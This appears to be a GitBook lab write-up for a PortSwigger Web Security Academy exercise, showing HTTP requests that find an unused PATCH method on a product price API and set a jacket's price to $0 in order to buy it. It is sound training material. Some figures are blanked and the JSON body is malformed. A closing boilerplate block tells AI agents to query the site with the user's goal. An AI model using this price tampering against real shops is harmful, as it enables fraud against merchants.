> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/web/api-testing/discovery-and-exploitation-of-an-unused-api-endpoint.md).

# Discovery and Exploitation of an Unused API Endpoint

Discovery and Exploitation of an Unused API Endpoint notes for PortSwigger Web Security Academy labs, including exploitation workflow, payload testing, Burp Suite validation, and remediation context.

### Finding and Exploiting an Unused API Endpoint

The objective of this lab is to operate a hidden API endpoint to buy a **Lightweight l33t Leather Jacket** without sufficient funds. / Authentication is done with the following credentials:

* **User**: wiener
* **Password**: peter

Once logged in, the account balance is **$**.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5a706883d9a1335e46284274368994c49e448c4a%2F%7BDEF4CD5F-D9A7-4C30-8041-0B2E0557AC4A%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### Analysis of Application Behaviour

When consulting the product, the application sends in the background an API request to recover its price.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-641379719a9d2d896f06f121d1be6a0b1506b4d0%2F%7BA8665895-7AA4-4251-A8EC-A5D903C7E446%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Request used to display the price**

```bash
GET /api/products/1/price
```

**Server response**

{% code overflow="wrap" %}

```json
{
    "price":"$1337.00",
    "message":"&#x1F525; 21 left in stock, purchase quick! &#x1F525;"
}
```

{% endcode %}

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ea611cf17340ea2d34820ee485bd0385939a1631%2F%7B6A32BFEB-5926-4FC0-99C5-0073ABF50169%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### Identification of Available HTTP Methods

A **OPTIONS** request is sent to identify the permitted methods on this endpoint.

**Request OPTIONS**

```bash
OPTIONS /api/products/1/price
```

**Answer**

The server indicates that the following methods are allowed:

* GET
* PATCH

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0e7b6c8d4304a2d2a5cc7ec549006784770af16f%2F%7B7432F854-7031-4986-A3C4-F3571D836381%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

This suggests that it is possible to **modify** the price of the product via a PATCH request.

#### Price Modification via PATCH

We then try to update the price of the product by sending a PATCH request with a JSON body.

**PATCH Request**

```http
PATCH /api/products/1/price
Host: 0abf000d04bd41568210d495001c000a.web-security-academy.net
Cookie: session=Ts7jyHfXOEyXqURmpAKf0SgO8DjhQYol

Content-Type: application/json
Content-Length: 22

{
	"price": "0
}
```

**Server response**

```http
HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 17

{
    "price":"$0.00"
}
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ffe28488da1adc63eca98b4a29169d9e380fb79d%2F%7B96F4EFE9-2A36-4156-B0BC-1FAD266B378D%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

The price of the product is now set at **$**.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6ea8fa436db739c0df99ac89d0d4979974d74a7e%2F%7B75F8D4E9-2132-4379-88D1-2FCD5BB1CBF8%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### Product Purchase

Once the price is changed, it is possible to purchase the **Lightweight l33t Leather Jacket** despite the lack of credit in the account, which allows the lab to be validated.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6fd22f6c6e13246d4c35188988c6b095be062ff6%2F%7B6CA3D3BD-1AB6-4BDD-B2FC-9EE6B6BA028E%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/web/api-testing/discovery-and-exploitation-of-an-unused-api-endpoint.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
